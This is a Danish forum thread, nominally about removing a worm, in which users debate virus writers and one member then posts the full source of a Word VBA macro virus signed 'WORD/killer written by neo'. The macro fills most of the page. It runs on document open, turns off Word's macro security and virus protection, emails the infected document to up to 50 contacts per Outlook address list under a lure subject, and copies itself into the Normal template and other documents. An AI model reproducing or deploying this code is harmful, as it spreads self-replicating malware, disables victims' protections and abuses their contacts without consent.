Fjernelse af "w21.blaster.worm" virus

    Quote

    Originally posted by neo
    hallo det er altså ikke alle virus programøre der er latterlig jeg syntes da ikke at jeg er latterlig bare fordi at jeg har lavet nogle viruser men IKKE sendt dem ud for jeg vil ikke smadre noget


    Jamen kan vi ikke se noget sourcecode på det du har lavet ?


    Kiggede forleden på sourcecoden til I love U virusen og tro mig => Det er det værste volapyk jeg har set længe.


    Jeg tager sg* hatten af for deres programmeringskundskaber - synes bare de burde udnyttes lidt bedre. F.eks ved at gøre opensource software mere brugervenligt så M$ med tiden kunne forsvinde ;) *G*

    Quote

    Originally posted by Aerial
    Jamen kan vi ikke se noget sourcecode på det du har lavet ?


    Kiggede forleden på sourcecoden til I love U virusen og tro mig => Det er det værste volapyk jeg har set længe.


    Jeg tager sg* hatten af for deres programmeringskundskaber - synes bare de burde udnyttes lidt bedre. F.eks ved at gøre opensource software mere brugervenligt så M$ med tiden kunne forsvinde ;) *G*


    Helt enig. Der findes ingen større synd end forspildt talent... ;)

    Private Sub AutoOpen()
    On Error Resume Next
    p$ = "clone"
    If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
    Else
    p$ = "clone"
    CommandBars("Tools").Controls("Macro").Enabled = False
    Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
    End If
    Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
    Set UngaDasOutlook = CreateObject("Outlook.Application")
    Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
    If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "killer") <> "... by neo" Then
    If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
    Set AddyBook = DasMapiName.AddressLists(y)
    x = 1
    Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
    For oo = 1 To AddyBook.AddressEntries.Count
    Peep = AddyBook.AddressEntries(x)
    BreakUmOffASlice.Recipients.Add Peep
    x = x + 1
    If x > 50 Then oo = AddyBook.AddressEntries.Count
    Next oo
    BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
    BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
    BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
    BreakUmOffASlice.Send
    Peep = ""
    Next y
    DasMapiName.Logoff
    End If
    p$ = "clone"
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "killer") = "... by neo"
    End If
    Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
    Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
    NTCL = NTI1.CodeModule.CountOfLines
    ADCL = ADI1.CodeModule.CountOfLines
    BGN = 2
    If ADI1.Name <> "killer" Then
    If ADCL > 0 Then _
    ADI1.CodeModule.DeleteLines 1, ADCL
    Set ToInfect = ADI1
    ADI1.Name = "neo"
    DoAD = True
    End If
    If NTI1.Name <> "killer" Then
    If NTCL > 0 Then _
    NTI1.CodeModule.DeleteLines 1, NTCL
    Set ToInfect = NTI1
    NTI1.Name = "killer"
    DoNT = True
    End If
    If DoNT <> True And DoAD <> True Then GoTo CYA
    If DoNT = True Then
    Do While ADI1.CodeModule.Lines(1, 1) = ""
    ADI1.CodeModule.DeleteLines 1
    Loop
    ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
    Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
    Loop
    End If
    p$ = "clone"
    If DoAD = True Then
    Do While NTI1.CodeModule.Lines(1, 1) = ""
    NTI1.CodeModule.DeleteLines 1
    Loop
    ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
    Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
    Loop
    End If
    CYA:
    If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
    ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
    ActiveDocument.Saved = True: End If
    'WORD/killer written by neo